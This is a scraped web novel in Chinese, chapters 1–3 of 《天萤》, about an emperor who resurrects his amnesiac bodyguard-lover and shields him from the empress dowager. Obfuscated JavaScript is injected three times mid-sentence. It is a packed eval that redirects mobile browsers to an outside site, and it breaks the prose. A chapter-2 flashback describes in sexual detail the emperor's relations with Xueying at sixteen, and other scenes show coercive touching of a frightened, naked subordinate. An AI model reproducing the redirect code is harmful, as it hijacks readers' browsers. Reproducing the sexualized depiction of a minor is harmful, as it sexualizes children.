《天萤》 1. 第 1 章 太常寺少卿遣人来报时,义蛾生正在听朝堂上大臣们吵架。 国子监的两大学派“欲取学”与“善为派”,从朝会开始就在拌嘴,但凡有大臣出列上禀个什么事,两边人马都要见缝插针地争上几句;这边还没吵完,那边功成王义勿几出列,言辞暧昧,暗示想将膝下十四岁的女儿塞进义蛾生后宫;没等义蛾生说出拒绝的话,又走出一名老臣,铿锵有力地“劝谏”义蛾生为国为民,为朝代绵延福泽,早日诞下皇嗣。 义蛾生听得心烦意乱,只觉自己这皇帝当得不如牵一条狗上来,狗尚且能在大家吵得热闹的时候吠上两句,起码能捧个场,他被烦到了便什么都不想说,只拿冰冷的目光注视下方,等到吵闹声逐渐安静下来—— 他才说:“吵够了?” 下面臣子们面面相觑,不过,这样的安静很短暂,只要在这个时候,又有人挑起一个话题,很快就会再次吵起来。 但在这时,义蛾生身边伺候的内侍匆匆跑来,在他耳边低声说了几句话。 义蛾生变了脸色,也不宣布下朝,就丢着满朝文武,拂袖便离开。 “太常寺少卿遣人来报,说是……时间到了。” 义蛾生迈开步子,将内侍与近身侍奉他的御殿督卫远远地甩在身后,走向他那寝殿后方一座矮小宫殿,这地方偏僻幽静,是他明言过的禁地,日常无人把守,只有他与太常寺少卿可以出入,也别无他人胆敢靠近。 快要走到宫殿前时,宫人与御殿督卫自觉停下脚步。他独自走向宫殿,忍着满腔的惴惴不安,面上却还显平静,抬手推开殿门—— “轰——” 外头阳光乍泄,里面却阴暗幽深,他这么一推,仿佛打破了某道古老的禁制,跨越了阴阳两极的禁忌,从繁荣热闹的人间,走入茫茫无生的九幽之地。 宫殿最深处,以整块白玉切成一座祭台,太常寺少卿正跪在台阶下,眉眼低垂不敢四处张望,而祭台上,正睡着一个不着一物的人儿。 漆黑长发散开压在身下,那一身肌肤比他身下白玉显得更要莹白,细腻光洁,没有一丝瑕疵。他看起来和几个月前很不一样,几个月前他一身毫无半分血色,如今不止是脸颊泛着淡淡的红晕,骨关节也晕出一点淡粉,嘴唇饱满红润,微微张着,显出有些娇憨不设防的睡容。 义蛾生走上台阶,他站在祭台前朝那人伸出手,撩开他落在身前的些许长发,露出颈部一道狰狞的伤口,只觉呼吸一窒,胸中泛起密密麻麻的疼痛。 他问:“这道伤无法消除么?” 太常寺少卿将头磕在地上回话:“陛下,这道致命伤太深,臣实在无力为之……” 义蛾生心头又是一痛。 他的手掌抚过那人润泽的嘴唇,抚过细密柔软下垂的睫毛,他知道这双眼睁开来会是什么样子,眼尾细长,生动明媚,有水一般的绵柔,又有骄阳一般的炽烈,总是印出他一个人的身影,仿佛他就是他的天,是他的一切,是他唯一要依顺的天神。 义蛾生的手,停在那紧闭双眼的眼角处。 威严的帝王低了头,语中透出一股难以掩饰的沉痛:“雪萤,快醒来。” 那人并没有应声而醒,过了一会儿,他眼尾处缓缓滑落一滴清澈的眼泪,好似这幽寂宫殿中鲛人烛落下的一滴烛泪,浸入义蛾生的掌中,烫得叫他心头一颤。 · 雪萤,快醒来。 这是他恢复意识后,听见的第一句话。 雪萤从一个漫长的梦境中醒了过来。 梦见了什么,他也不记得,只记得梦境的最后一幕,是他被太子送到孪生兄长废王手中。 当男人喜不自胜地朝他走来,张开手想将他抱进怀里时,雪萤却取出藏在袖中的短刀,一刀刺入男人腹中。 那一刀并不致命,但男人脸上的笑容僵住,难以置信地看着他,神色俱是受伤。 周围将士冲上前来,要将他拿下,甚至想将他当场处决,可男人暴怒不已,面目狰狞,不允许任何人伤害他。 雪萤哀戚地看着他,然后举起那把沾着男人的血的刀,一刀刺进自己颈侧。 他还记得,自己死前最后跟男人说的话。 “自古忠义两难全,雪萤的心很小,只装得下你们两个人,所以,雪萤都想要……” 然后,他醒了过来。 在一座光线幽冷的宫殿中。 短暂的失神后,他大口喘息起来,仿佛刚从水中捞出、差一点就要溺毙的人,急切地需要呼吸新鲜空气,来顺通他十年未流通过的气道。 他不是死了么?怎么还会醒过来? 雪萤感到害怕,像是第一次认识这个世界的幼兽,懵懂无知,又惊慌失措。 然后他看见了身旁巍然伫立的身影。 俊美的帝王神色冷沉,眼神漠然而又庄严地看着他,那自上而下的打量,叫他心生畏惧,却又忍不住想要依靠,因为这是他醒来后看见的第一个人,就好像幼崽会下意识依赖第一眼看见的事物,那是本能。 这时候,旁边有人说:“雪萤,见了主上,要跪下来说话。” 这是他醒来后听见的第二句话。 原来这是他的主上,他记得自己的身份,他是主上的近身侍卫。他惶恐地从祭台上爬下来,跪在地上,仰望主上,帝王高大的身影越发伟岸。 义蛾生有些不悦地看了一眼太常寺少卿。 雪萤磕磕巴巴地说:“主上……” 他有十年没有开口说过话,声音沙哑滞涩,又怯生生的,直叫人爱怜。义蛾生闭了闭眼,好似在回味他的声音,然后问:“你还记得?” 雪萤回答:“记得一些……” 义蛾生眼神忽然变得凌冽,他伸出手,握在雪萤细白的颈子上,那样纤细,他一掌便能覆住,甚至遮盖了那道狰狞的伤疤。 “记得什么?”他冷冷地问。 雪萤让他拿住命门,内心越发惶恐不安,身体跟着颤抖起来:“记得……记得去刺杀废王……然后,然后自尽……” 义蛾生好一会儿没有说话。 他松了手,发现雪萤被他握住的那片皮肤泛起了红痕,这才想起他叫人为雪萤招魂,还重造一身肌肤,如今仿若初生,稍微用点力气就要留下一道痕迹,比他宫中那些后妃还要娇气,哪像是一个侍卫。 唯一美中不足的是,当年自尽留下的伤口无法痊愈,与他这十年来每一夜的梦靥相呼相应,每看一次,心痛一次。 义蛾生说:“雪萤,是朕为你招魂。” 雪萤愣了一下,惶惶地谢恩,可义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418498|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛾生很快打断他:“十年前你护主而死,朕感念你一片赤胆忠心,所以才会如此。如今你新生一次,既然忘却前尘,那便重新选择人生,朕问你,你是选择继续留在朕身边,还是离开皇宫?” 留在主上身边,还是离开……?这样的选择,不算是什么选择。他懵懵懂懂,什么都不记得,不记得生存的手段,不知道该去哪里,除了主上,谁都不认识,他还能选择什么呢?他的选择,只有主上的身边。 雪萤眼中含着水汽:“我,属下,要继续留在主上身边。” 他伏在帝王脚下:“……继续效忠主上。” 义蛾生又有一会儿没说话,雪萤不安地抬头去看,只听主上说:“既然选择留在朕身边,那要重新订立契约。” 雪萤呆了呆,他那双眼总是下垂着眼皮,眼尾落下一个柔软的弧度,低头的时候,看着就像耷拉的狗狗眼,让他整个人显得很是无害,又很驯服的样子。 他说:“可是,主上……” 话未说完,义蛾生已然不悦地眯起眼,低头看了过去:“怎么,你不愿意?” 雪萤叫那凌冽的目光看得背后发冷,忍不住缩了缩身子。他差点被吓出眼泪,憋得鼻尖都发了红,好一会儿,才鼓起勇气拽住主上身前纁裳,然后说:“主上,可不可以,先给属下穿一件衣服……” 这回轮到义蛾生愣住。 他下意识将目光落到雪萤身上,从他的角度几乎可以将整个人看个通彻,每一寸皮肤在他眼下都一览无遗,可他竟然差点忘记了,雪萤仿佛重新降生在这个世上,浑身不着一物,就这么坦然地将一切展示给他看着。 义蛾生眸色沉了沉,他那极具侵略性的眼神叫雪萤察觉到,又是不由得的一抖。他放下手,手掌落到雪萤颈侧,在温热有生气的身体上抚摸那道狰狞的旧伤,叫雪萤无法克制地战栗与瑟缩,却偏偏无处可逃,只能被动承受着主上强势的触碰。 也是在这时候,带着体温的玄衣落在他肩上。雪萤立即将自己藏了进去,仿佛回到了安全的堡垒,只想将自己藏得深一点,再深一点,以此平息颤抖不止的身体。 然后听见他的主上说:“朕带你回去。” 他猝不及防被从地上抱了起来,用着面对面的姿势。雪萤害怕得不行,怕自己掉到地上,连忙拽着肩上的玄衣,伸长双腿盘在主上腰间,远远地看去,就好像绞缠在帝王身上的美人蛇。 义蛾生准备行走的动作一顿。 雪萤这时也后知后觉地觉出这样姿势的暧昧,脸色慢腾腾地涨红起来,脑子里胡思乱想着,主上怎会这样顺手的,用这样的姿势抱他,而且好像也没有要推开他的意思。他分明只是主上的侍卫,可主上对他,怎么会这样亲昵…… 难道说,他死之前,与主上的关系不太一般? 而且,主上还耗费十年时间,为他一个手下的侍卫招魂……这如何让他不多想。 义蛾生并不知道雪萤脑子里在想些什么。 他只低头看了一眼二人的姿势,便恨恨地咬牙切齿。 真是叫人调教管了……就算没了记忆,身体却还记着,只这么一抱起来,竟然就会主动将腿缠在男人身上! 他心里泛着酸,忍不住的想,认清楚该把腿缠谁身上了么,就这么缠上了。 2. 第 2 章 义蛾生心里扭曲得不行,面色却越发沉静如水。雪萤好似觉察到他周身萦绕的低气压,忍不住缩了缩脖子,怯怯地偏过头:“主上?” 他没有得到主上的回应,却被义蛾生抬手将双腿扒拉下来,盖在玄衣下拢住,换成了侧身抱着的姿势,这样便将全身都盖住,只露出一截自然垂下的脚趾。 义蛾生心里稍微好了些,这才抬脚要走。这时太常寺少卿却在身后出声:“陛下,还有两件事……” 雪萤好奇地睁着眼,望着台阶下臣子。 此人并非朝中正臣,而是义蛾生费力从天萤族请来宫中的方士,专门负责为雪萤招魂之事,掩人耳目叫他封作太常寺少卿。义蛾生猜想方士还有话交代,只说:“等下来来议政殿见朕。” 他抱着雪萤走出偏殿,直往前面寝殿而去。如果没有记错,雪萤这时体重只有五十六斤,所以抱着不但不费力,反而有种轻飘飘的感觉。一路宫人与御殿督卫见着他怀里抱了个藏得严实的人,纷纷恭顺地低下头去,不敢乱看。 雪萤已有十年没见过外面的阳光,路边又跪着这样多的人,他心里惶惶的不安,越发地往主上怀里藏缩着,像个受了惊的小动物。 义蛾生叫他这细微的动作惹得心头一阵发痒,手指忍不住贴在两人相触的位置摩挲着,雪萤却半点不知自己叫皇帝占了便宜,还以为这是主上在安慰他。 进到寝殿,义蛾生将人放在软榻上:“在这里等着。” 雪萤将腿蜷起,拢着玄衣,乖巧地点头,一双狗狗眼微微耷拉着,很是听话的模样,看着义蛾生的眼神,又好像舍不得他走。 义蛾生惦念着方士要交代他的事情,这时也不得不离开雪萤,去议政殿召见太常寺少卿。 相处的时间以后还有很多,他现在更在意雪萤复生后状态如何。 他的雪萤并非人类,而是来自与皇族有着悠久渊源的“天萤族”。据说在很多年前,先代某位皇帝外出巡游,夜晚路过一座山谷,见谷中流萤飞舞,好似人间仙景,忍不住驻足观望,并令臣下停驾摆宴,一边饮酒一边吟诗。 当吟出“腐草生流萤,熠耀满天星”时,一只萤火虫飞落下来,向皇帝乞求讨封。帝君虽然惊讶不已,却为其封名“天萤”,使其化作人形,收于麾下。 这些只是史书上不知真假的见闻,不过皇族确实一直都有任用天萤一族为近身侍卫的惯例。天萤族人身轻而骨密,需经历六次蜕化期方可进入成年,成年后体重最多只达七十斤,比身形稍矮且偏瘦的女子更要轻盈,又善习武学,尤其是轻功上乘,借风一夜可行千里。 除了这些优点,天萤族人在成年后还会发育出一层“体甲”,这等于是他们的第二条性命,在死过一次后还能有复活的机会,可以说是为帝王挡刀挡剑的不二人选……雪萤父母当年都是先皇身边侍卫,两个人,四条命,全都赔给了那昏君。 但雪萤的情况,又有些不同。 义蛾生坐在桌前等内侍宣召太常寺少卿,一边回想着过去。 雪萤死时虽然满过十八岁,却未经历过六次蜕化期,而是卡在第五次。每一个天萤族人在进行蜕化时,需得回到天萤族群居之地“天萤谷”,在谷中神木“熠耀之树”上度过蜕化期,而那时先皇已死,太后意欲斩除太子羽翼,算计着将天萤族未来的族长继承人拿捏在手中,逼迫天萤族拒绝让雪萤回到谷中进行蜕化。 没有经历蜕化成年,便没有那如第二条性命的“体甲”,所以在雪萤死时,几乎没有重来一次的机会。义蛾生却不愿相信,先叫人将他尸身护存完好,后苦寻许久,终于寻到一名天萤族方士,告诉他一个希望渺茫、但能为雪萤招魂的方法。 如此,费力十年,才让雪萤重新睁眼看他。 代价就是雪萤几乎没了所有记忆。 太常寺少卿进来时,义蛾生正将手指搭在桌边,有些杂乱地敲击着。见人跪下行礼,义蛾生问:“刚才要说什么?” 太常寺少卿磕了个头,开门见山地说:“先前在雪萤体内发觉好似有龙气残余,想问陛下,是否十年前便已临幸过雪萤……” 义蛾生愣了愣,脸色忽地有些不自在。 这件事要追溯起来,便有些复杂了,这得从义蛾生与他长得一般模样的孪生弟弟,当年的太子说起。 先皇从继位时便昏聩无能,整日沉溺美色酒肉,他树敌太多,又只在意自己享乐,早些时候虽然生了不少儿子,但都没有活过成年的,后来有很长一段时间,宫中都没有皇嗣诞生。 年纪渐长,皇嗣依然未定,先皇那时也有些慌了,不过好在这时候,有一名身份卑微的宫女为他诞下一对孪生子,立即就让先皇当宝贝似的供了起来。 可过往的经验教训让他意识到,他上心或者不上心,他的孩子们都不会有什么好下场,再是仔细保护,终究能有人钻了空子暗下杀手,这对来之不易的双生子更加惹眼,只怕活不过几年,就要被人谋害了去。 最后还是太后给先皇出了个主意,封其中一个为太子,放在她膝下抚养长大,而另一个,则送到一个叫做“中术”的组织培养,教他武功术法,让他有自保的能力,但对外宣称新得的皇子只有一个,另一个则不公之于众。 双生子本就生得完全一致,若是在同样环境下长大,日后在继承权的问题上恐会生出祸端……太后心里担忧的问题主要是这个,又见先皇担心自己的孩子一折便折两个,这才心生一计,叫他对外隐瞒其中之一的存在,送去修习武艺,日后便无名无份地在暗地里做太子的“影子”,需要用他处理危险的局面时才叫他外出露面,这样既避免兄弟争权,又善用了那张与储君完全一样的脸。 先皇原本觉得,这样的做法对另一个孩子来说未免不公,可太后劝说他,若不牺牲一个,恐怕两个都保不住,先皇这才同意了,本想着等日后好好补偿被剥夺身份的孩子,可时间一长,他渐渐地也忘了当初的愧疚心,跟所有人一样,当自己只有一个儿子。 义蛾生就是那刚出生就被带走的孪生子之一。从他张眼开始,中术的蛊师便在他体内种下蛊虫,目的是防止他日后生出异心,想要取代自己的弟弟时,便可引爆这蛊虫,令他爆体而死。 经历过十年的洗脑与教导,义蛾生早已将“做太子的影子”这一理念铭刻在心,才被送回皇宫中。从那时起,太子是太子,他是太子没有名字的“影”,除了叫他出现,便只能在夜晚行走活动。 长到十二岁时,先皇为太子挑选天萤族人任作侍卫,不知为什么,他那太子弟弟却叫他去挑选,自己找了个地方躲起来……义蛾生便去了,在一群天萤族人当中,一眼挑中了年纪最小、长得最好看的雪萤。 雪萤那时也才十一岁,本不该在挑选之列,因一般说来,能够用作侍卫的天萤族人,都是经历过六次蜕化期的成年体。雪萤却因为父母双死,在天萤族也没有依靠,才自请想早早地入宫,服侍皇嗣。 他年纪小,看着又嫩又乖,一双狗狗眼直叫人怜爱,义蛾生看得越发喜欢,只挑走了这么一个小孩儿做侍卫。后来知他岁数小,武艺却不凡,先皇便准许了雪萤留下,从那时起,就陪伴着义蛾生与太子一起长大。 但孪生兄弟都很默契地没有透出他们是双生子的秘密,因为这是连最亲近的人都不能告知的讳忌,于是雪萤一直不知情,只当自己的主人是太子殿下。直到先皇驾崩,义蛾生自立为“废王”,与太子争权,世人这才知晓,原来太子还有一位长相一致的兄长。 至于这“临幸”……是义蛾生与太子长到十七岁时,按照宫里规矩,也该为太子挑几名房里人,为正式大婚前增长经验。不过这一次,义蛾生那太子弟弟又推脱掉了,只叫义蛾生拿决定。 义蛾生当时很奇怪,这并不是小事,就算是他去挑选,最后也要选到太子房里的,太子竟然叫他去选? 太子却满不在乎地跟他说:“哥,你弟十四岁开荤,万花丛中过,早已身经百战,也就你这么个纯情老处男还没有尝过鲜,当然要把机会让给你了啊。” 义蛾生:“……” 他思来想去好几日,也没有想好要谁。他一直都是太子的影子,是一个没有名字的人,就算叫他宠幸过,也只以为共度春宵的枕边人是太子,这样的感觉让人实在憋屈,还不如一开始就不要。 他总是这么在意他人的目光,哪怕从小被教导一辈子做太子的影,可心底还是不甘心,想要向世人咆哮宣泄,他是一个独立的人,他不是太子。 就在这时候他看见了雪萤,心里忽然动了动心思。 他喜欢雪萤的,雪萤是他亲手挑选的人,雪萤对“他”一直都很忠心。 所以他可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418499|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以……要雪萤的吧? 这念头一生出来,便再也没法按回去。他们这些近身侍卫也不是没有侍寝的先例,所以义蛾生的要求并不算离谱,他坐立不安地又想了两日,吩咐身旁伺候的管事内侍替他去询问雪萤的意愿。 雪萤当时好像很惊讶,那双总是柔顺下垂的狗狗眼都有些微微瞪圆。义蛾生站在屏风后偷看,他并不想强迫雪萤,所以才叫人去问他“意愿”,要是雪萤不愿意,他也不会强人所难。 可雪萤答应了,他说,“主上想要,雪萤就给”,当晚就被洗得干干净净、光溜溜地送到他床上来。 义蛾生夙愿已成,将雪萤抱在怀里时本来还很高兴,但转念想到就连雪萤都分不清他与太子,那点兴奋和喜悦立即好像叫人当头浇下一盆冷水,热度去了一半。 他心里有一道无法解开的结,哪怕是日后他成为九五之尊,黎民苍生都要在他脚下伏跪,万国来朝,那依然是他一生都要承受的伤。 那夜他还是要了雪萤,在那之前他做了充足的功课,没怎么让雪萤第一次受罪,后来更是得了初尝人事的趣,拉他一起共赴极乐。义蛾生让他甜腻的叫声勾得心神俱散,很快就忘了先前的闷闷不乐,只想就这么沦陷在温柔乡里。 第二天早醒,将雪萤搂在怀里听他黏黏地叫自己“主人”,义蛾生的心却又沉了下去,再次变得不快。 只在错觉雪萤那稚嫩生涩但又灵动的眉眼间,多了一分已经人事的媚意,他心情才好上了那么一些。 他那“经验丰富”的太子弟弟跟他说,雪萤才十六岁,年纪还小,没有完全度过蜕化期,又以男儿身承恩,总归是对他身子不大好的。义蛾生听了进去,后来便比较少再碰雪萤,做的最多是将人抱在怀里亲亲摸摸,血气上头时叫他用双腿,用手帮他,连嘴都很少用,然后日日都要为他用上保养的好药,除非真的忍不住,才吃上这么一回。 雪萤于他来说,是那段昏暗无光生活中唯一的一颗糖,叫他珍而重之地藏在怀里,要到最苦、苦到受不住的时候,才拿出来舔上两口,根本舍不得一口吞下去。 义蛾生本不欲与外人透露他与雪萤的那点私事,但想到太常寺少卿既然都拿出来问了,一定是与雪萤身体相关的,便不怎么自在地说了:“有。” 太常寺少卿脸上露出有些为难的神色。义蛾生看他一眼:“但说无妨。” 太常寺少卿便说了:“陛下也知道,雪萤虽然复生,但仍然停滞在第五次蜕化期。天萤族若是迟迟未能进行蜕化,对身体有很大的影响,臣斗胆建议,陛下最好暂时不要再临幸雪萤,否则他受不住陛下龙气冲激,只怕身体受损。” 义蛾生注视着他,太常寺少卿顶着帝王的威压,又弯了弯腰:“……最好等到完全蜕化后。” 这并不是一个义蛾生想听见的提议,他心里不悦,但还是应了一声:“嗯。” 太常寺少卿又说:“陛下若真为雪萤着想,尽早送他回到天萤谷完成蜕化最好,此前从未有过蜕化期拖延这样久的先例,臣担心迟则生变……” 义蛾生没有露出什么情绪,又问:“另一件事呢?” 太常寺少卿从袖中拿出一只方匣,打开来呈到帝王眼前。 “这是先前臣从雪萤体内取出的一枚蛊虫。”他说,“不过,这是子蛊,而且稀有罕见,臣并非中术方士,不擅蛊虫学究,无法判断这是怎样的一只蛊。” 义蛾生问:“一定要找中术方士么?” 太常寺少卿答:“或者通过子蛊找到母蛊,臣可尝试研究效用。” 义蛾生想了一下,手指点在桌边:“这蛊你先收好,朕日后自有定夺。” 太常寺少卿回答了“是”,将方匣重新收回袖中,想起什么:“陛下,还有一点小事。” 义蛾生:“说。” 太常寺少卿低着头:“应该再过不久,雪萤会出现‘骨痛’症状,这是蜕化期滞后带来的,陛下需得安排人为他日日活络筋骨,尤其是脊骨,否则将会痛苦异常。” 义蛾生淡淡地应了,摆手示意他退下。 他心里挂念着还在寝殿的雪萤,等太常寺少卿离开后,便起身回了寝殿,想这下要好好地看看他的雪萤。 等他回了寝殿,抬眼一看,那软榻上却空无一人。 他的雪萤……没了?! 3. 第 3 章 朝会开到一半,皇帝丢下满朝文武,直奔他那藏了十年的禁地而去,太后在朝中颇有耳目,很快就知道了此事。几乎是义蛾生前脚刚出寝殿,后脚太后的人便到了。 他们大摇大摆闯入皇帝的寝殿,盯着软榻上满眼茫然的雪萤,相互交换着眼神。 身上还穿着陛下的衣服……这里头,可是大有隐情啊。 皇帝不在寝殿,平日里他不喜有宫人留值,这诺大的寝殿中,就雪萤一人惶惶地坐着。他叫太后派来的内侍推下软榻,连鞋都没有穿,就这么押着去见太后。 太后并非皇帝与太子这对孪生子的生母,但她是皇帝的发妻,她出身自勇乾王的家族,是当朝六王中最为荣耀光鲜的一家。她的孩子们大都死在了宫廷斗争中,她既爱着先皇,又痛恨他的昏庸好色,却极力忍耐着,终于忍到先皇暴死,叫她与勇乾王联手,插手朝政。 先皇昏聩无能,给义蛾生留下一堆烂摊子。他耳目不清,不爱打理朝纲,只爱丝竹和鸣美人水袖翩飞,他成日溺在享乐中,放纵地将自己身体掏空,不问苍黎黔首生民疾苦,但凡遇见问题,只会嚷嚷着指使他那些为王的兄弟们去解决。 而他补偿的方式就是封地,加官进爵,大加赏赐,把他的兄弟们一个个喂得位高权重,兵强马壮,权欲心膨胀。最后等到他死了,留下六王九公十二侯,对年少的天子虎视眈眈。 这其中权势最高者当属勇乾王,于是太后垂帘听政,让那六王九公十二侯中七成势力归顺于她,另外二成或是中立,或是别有居心,只剩下一成,才是支撑着皇帝不倒下的砥柱。但皇帝终究是势微,朝堂上大臣们心不齐,总是吵吵闹闹,有不少人跪的是天子,眼睛里却望着的是他身后那个位置。 义蛾生用了十年时间,才将太后从朝堂中“请离”,通过科举、寻访、举荐,求得四方贤才,引入朝堂,这才一点一点地筑起他那摇摇欲坠皇权的基石。 可勇乾王威望仍在,太后依然是这后宫的主子,她的眼线遍布每一个角落,就是皇帝的寝殿又如何,她依然当无人之地自由进出。需要义蛾生筹谋、操心的事情太多,他是皇帝,皇帝眼中看见的是撕拉啃噬皇权的王公贵族,让先皇掏空的国库与被透支的百姓,天下苍生的生计与朝代千秋伟业,他的目光无暇落在这深宫后院中。 雪萤被押到太后面前时,太后正在自己宫中后园赏花,周围还坐了十来个先皇的太妃,她们都是先皇当年花心的证据,于是太后将她们都养在后宫,成日里闲闲无事,陪她赏花聊天,却占据着宫里大量的份额,日子过得好不快活。 众人闲聊打趣,叫雪萤瑟瑟发抖地跪在地上,只当没有看见他。过了好一会儿,这才有人才注意到他似的,惊讶地说了声:“哟,竟然还是个小美人,陛下当真眼光上乘,难怪后宫佳丽三千,他一个也看不上,原来只取这‘一瓢’啊。” 周围一片意味不明的笑声。 雪萤抬了抬头,看见大家都在发笑,他一个都不认识,只觉好像叫人扒光了丢到大街上一般难堪。头上阳光炽烈,晒得他颈间渗出一层细细的汗,渗入到主上的衣物中,要不是嗅到主上的气息,他真要克制不住地蜷缩起来,抱住自己哭泣。 他觉得害怕,在一个陌生的环境中,让一群陌生的人放肆打量着,他的主上却不在这里,留他一个人无助地面对。 又有人说:“嘘!小声些,笑什么笑,看把人都吓着了。” 太后跟着微微一笑:“倒是个胆子小的。” 她朝雪萤投去淡淡的一瞥,语调平缓:“你就是那个叫陛下藏在禁宫十年的人?” 雪萤不知道要怎么回答,他瑟瑟地垂着头,没有答话。 太后又说:“听说你先前是个侍卫,哀家想了想,印象里好像是见过你那么几次,还跟十年前模样一般,唇红齿白,貌美俊俏……” 她忽然眯了眼,恨恨地从齿间说出:“以色事主的狐媚子,还是个男人。” 太后此生最恨长得漂亮的人。正是那些一个二个颜色魅惑的人,从她这里分走了先皇一点又一点的爱,让她独守空闺,度过寂寞的上半生,叫世人都在看她的笑话。 她当年以为,皇帝与太子看重雪萤,只是因为一起长大的情分,后来得知皇帝将人安置在禁宫中,耗费十年为他招魂,她非常惊讶,哪怕皇帝不是她所出,哪怕她不待见皇帝,只是公正地来说,一位帝王,怎么能将自己的弱点,这样坦然地暴露在世人眼前?! 她讨厌雪萤,不仅因为他是个以色事主的男人,也因为他是义蛾生唯一的弱点。 她在心里思索着该如何发落雪萤。今日的敲打必不可少,这只是前菜,皇帝想把人收在后宫,那必须得在她手底下剐一层皮肉,否则她不会就这样善罢甘休的。 太后将目光落到雪萤身上,忽地发现他身上那衣物有些眼熟。那样独一无二的衣料,只能用作帝王的服饰,此时却穿在雪萤身上,当即又点燃了她心头的怒火。 “这穿的是什么?”太后冷冷地问。 雪萤迟疑一下,答了:“是……是主上给雪萤穿的。” 太后语气尖锐:“天子之物,怎能穿在你一个贱奴身上,你配么?” 周围人听见,又是一阵窃窃私语。 有人说:“一点规矩都没有……该叫他脱下来,吃几鞭子长长记性,以后才知道,主子的衣服可不能随随便便穿在身上。” 太后深以为然:“不错。” 见雪萤愣着迟迟不动,她冷着脸说:“怎么还不脱,是想让哀家叫人替你脱?” 雪萤微微睁大眼睛,连忙摇头:“雪萤不脱!” 他又说:“雪萤不认识你们……雪萤才不听你们的话,雪萤只听主上的。” 太后有些惊讶:“哦?是没了记忆么?” 雪萤没说话,但他的脸色让人很好懂,太后心里很快有了判断。 竟然没了记忆……那就是说,他不记得自己到底是皇帝的侍卫,还是太子的侍卫。或者可以说,他甚至可能都不记得还有太子这么一个人? 太后脸色一阵变幻。此事她还需要确认,若证实确如此,那这当中,可就有很大的操作空间了…… 这样的话,现在暂时还不能动雪萤。 太后正想着,这时外面传来通报声:“陛下驾到——” 宫人话音未落,义蛾生便冷着脸大步走进来,将四下环视一周,看得太妃们纷纷低下头去,露出几分心虚的神态。他问:“这是在做什么?” 太后并不畏惧天子冷冽的目光,神色淡淡:“这狗奴才,没规没矩的,敢把陛下的衣服穿在身上,哀家正替陛下教训他。” 她那秀丽的唇边挂着虚伪的笑意:“今日大家都在这里看着,陛下,他这身衣服要是不脱下来,可不许走哦。” 义蛾生与太后对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418500|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,目光在半空中擦出火花。 过了一会儿,他说:“不就是一件衣服么。” 义蛾生解开腰封,一边脱衣服,一边说:“太后想要,朕给您就是了。” 他将衣服敞开来,坦露出精悍结实的胸口,周围人好似都愣了一愣,太妃们才臊着脸,惊叫着转开目光。 太后气得直哆嗦:“你——!” 她几乎将嗓子叫破了音:“把衣服穿上!” 她叫皇帝这失心疯一般的举动气得脑中嗡嗡作响,一时间,竟然也忘记先前说的,“雪萤这身衣服不脱下来,就不准走”。 义蛾生面无表情地扯了扯嘴角,将还跪在地上发愣的雪萤打横抱起。 他本来就想这么走掉,懒得理会这些人。临到走时想起什么,侧过头来,朝太后说:“朕亲手给穿上的衣服,只有朕可以脱下。再敢伸手碰朕的人,休怪朕不讲情面。” 说完后便抱着雪萤离开,重新回到寝殿中,将人在软榻上放下,自己也跟着在软榻旁坐了。 雪萤抿着唇,还没有完全从惊吓中缓过神来,可怜地看着他说:“主上,属下给您添麻烦了么……” 义蛾生将手放在他头上,轻抚着那绸缎似的长发,问他:“添什么麻烦?” 雪萤说不出来,只拿狗狗眼望着他的主上。 义蛾生让他看得心头发软,想着他刚醒过来,跟个幼软的小动物似的,却叫太后和一群人欺负了去,又是一阵阵的涩,分明是他疏忽大意,没有护好雪萤。他放轻了语气说:“雪萤这不是很乖么,没有让人把衣服脱了去,替朕守住了脸面。” 雪萤脸色红了红:“主上说……只有主上可以脱,其他人说的,不管用。” 义蛾生看着他,忽然起了逗弄的坏心思,于是他说:“那朕要是说,叫你自己把衣服脱掉呢?” 雪萤差点没让他的前后两条命令弄得大脑短路。 主上亲手穿上的衣物,只能主上亲手脱下。 主上命令他自己脱,主上的命令必须要听,但他要是自己脱了,就违反了第一条命令。 雪萤呆呆地坐在软榻上,神色渐渐变得慌乱。 他实在不知道该要怎样做。 义蛾生心里那点想欺负人的劣根性得到了大大的满足,他伸手将人抱了过来,替他除了玄衣,扔下软榻,轻声说:“逗你的,别想了。” 他把人翻了过去,按在软榻上,自己侧身伏了下来,手掌在雪萤光裸的后背用力抚摸着,这才仔仔细细地看了一遍这具年轻优美的身体。 不错,还是和十年前一模一样,一点都不差,还是他的雪萤,甚至比十年前更要好摸。 雪萤叫他摸得很不自在,下意识就要挣:“主上、主上……” 义蛾生强势地将他按住:“别动。” 